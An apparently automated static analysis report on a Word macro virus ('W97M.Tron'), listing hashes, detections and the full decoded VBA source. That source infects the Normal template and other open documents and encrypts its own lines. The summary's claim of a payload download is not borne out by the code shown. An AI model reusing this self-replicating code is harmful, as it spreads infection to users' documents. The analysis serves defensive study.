Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1939865908654bcc…

MALICIOUS

Office (OLE)

32.5 KB Created: 2001-04-12 00:20:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 73b0fabd1f1efd3662c1f18e0f351d59 SHA-1: d57b03b2af10da3794b8e5b60e8a2a8fc595bd68 SHA-256: 1939865908654bcc429eade69db39337b970ebd27d40a7e54ca047fafb865b32
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically triggering a Document_Open macro. The VBA code is obfuscated and attempts to download and execute a secondary payload, as indicated by the ClamAV detection 'Doc.Trojan.Quaint-2'. The macro also attempts to set the project description to 'W97M.Tron by e[ax] / Species VL', which is included as an IOC.

Heuristics 3

  • ClamAV: Doc.Trojan.Quaint-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quaint-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2228 bytes
SHA-256: a4ed02acbe8df22ee196cdd13c13d095371fa6b411116ac3c3d63c8706aef8fe
Detection
ClamAV: Doc.Trojan.Quaint-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Tron
Private Sub Document_Open(): On Error Resume Next: Dim x, c: j = j + 1
Dim linKoda2, s
If Left(ThisDocument.VBProject.vbcomponents(1).codemodule.lines(33, 1), 1) = "'" Then
For E = 33 To 34
desni = Right(ThisDocument.VBProject.vbcomponents(1).codemodule.lines(E, 1), _
(Len(ThisDocument.VBProject.vbcomponents(1).codemodule.lines(E, 1)) - 1))
ThisDocument.VBProject.vbcomponents(1).codemodule.replaceline E, desni
Next
For f = 33 To 34
linKoda2 = ThisDocument.VBProject.vbcomponents(1).codemodule.lines(f, 1)
For s = 1 To Len(linKoda2)
nov = nov & Chr(Asc(Mid(linKoda2, s)) + 3)
Next
ThisDocument.VBProject.vbcomponents(1).codemodule.replaceline f, nov
nov = ""
Next
Else
For f = 33 To 34
linKoda2 = ThisDocument.VBProject.vbcomponents(1).codemodule.lines(f, 1)
For s = 1 To Len(linKoda2)
nov = nov & Chr(Asc(Mid(linKoda2, s)) - 3)
Next
ThisDocument.VBProject.vbcomponents(1).codemodule.replaceline f, "'" & nov
nov = ""
Next
End If
For t = 1 To Documents.Count
If Documents(t).VBProject.vbcomponents(j).codemodule.lines(j, j) <> "'Tron" Then
linKoda = ThisDocument.VBProject.vbcomponents(j).codemodule.lines(j, ThisDocument.VBProject.vbcomponents(j).codemodule.countoflines)
With Documents(t).VBProject.vbcomponents(j).codemodule
If .lines(j, j) <> "'Tron" Then
'+abibqbifkbp g) +`lrkqlcifkbp
'+^aacoljpqofkd ifkHla^
ActiveDocument.VBProject.Description = "W97M.Tron by e[ax] / Species VL"
End If
End With
End If
Next
Set norm = NormalTemplate
If norm.VBProject.vbcomponents(j).codemodule.lines(j, j) <> "'Tron" Then
With norm.VBProject.vbcomponents(j).codemodule
trm = Trim$(ThisDocument.VBProject.vbcomponents(j).codemodule.lines(j, ThisDocument.VBProject.vbcomponents(j).codemodule.countoflines)): .deletelines j, .countoflines: .addfromstring trm
End With
End If
End Sub
Private Sub Document_Close(): Document_Open: End Sub
Private Sub Document_New(): Document_Open: End Sub

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